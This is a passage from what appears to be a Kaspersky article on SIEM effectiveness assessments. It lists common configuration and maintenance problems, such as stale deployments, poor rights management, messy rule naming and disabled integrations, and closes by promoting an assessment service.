Furthermore, it is important to acknowledge that it is impossible to cover 100% of all threats. Continuous research into attacks, development of detection methods, and configuration of corresponding rules are a necessity. The SOC itself also evolves. As it reaches certain maturity levels, new growth opportunities open up for the team, requiring the utilization of new capabilities.

Problem: The SIEM has not evolved since its initial deployment.

How to detect: Compare the original statement of work or other deployment documentation against the current state of the system. If there have been no changes, or only minimal ones, it is highly likely that your SIEM has areas for growth and optimization. Any infrastructure is dynamic and requires continuous adaptation.

Other issues with SIEM implementation and operation

In this article, we have outlined the primary problems we identify during SIEM effectiveness assessments, but this list is not exhaustive. We also frequently encounter:

• Mismatch between license capacity and actual SIEM load. The problem is almost always the absence of events from sources, rather than an incorrect initial assessment of the organization’s needs.
• Lack of user rights management within the system (for example, every user is assigned the administrator role).
• Poor organization of customizable SIEM resources (rules, normalizers, filters, and so on). Examples include chaotic naming conventions, non-optimal grouping, and obsolete or test content intermixed with active content. We have encountered confusing resource names like [dev] test_Add user to admin group_final2.
• Use of out-of-the-box resources without adaptation to the organization’s infrastructure. To maximize a SIEM’s value, it is essential at a minimum to populate exception lists and specify infrastructure parameters: lists of administrators and critical services and hosts.
• Disabled native integrations with external systems, such as LDAP, DNS, and GeoIP.

Generally, most issues with SIEM effectiveness stem from the natural degradation (accumulation of errors) of the processes implemented within the system. Therefore, in most cases, maintaining effectiveness involves structuring these processes, monitoring the quality of SIEM engagement at all stages (source onboarding, correlation rule development, normalization, and so on), and conducting regular reviews of all system components and resources.

Conclusion

A SIEM is a powerful tool for monitoring and detecting threats, capable of identifying attacks at various stages across nearly any point in an organization’s infrastructure. However, if improperly configured and operated, it can become ineffective or even useless while still consuming significant resources. Therefore, it is crucial to periodically audit the SIEM’s components, settings, detection rules, and data sources.

If a SOC is overloaded or otherwise unable to independently identify operational issues with its SIEM, we offer Kaspersky SIEM platform users a service to assess its operation. Following the assessment, we provide a list of recommendations to address the issues we identify. That being said, it is important to clarify that these are not strict, prescriptive instructions, but rather highlight areas that warrant attention and analysis to improve the product’s performance, enhance threat detection accuracy, and enable more efficient SIEM utilization.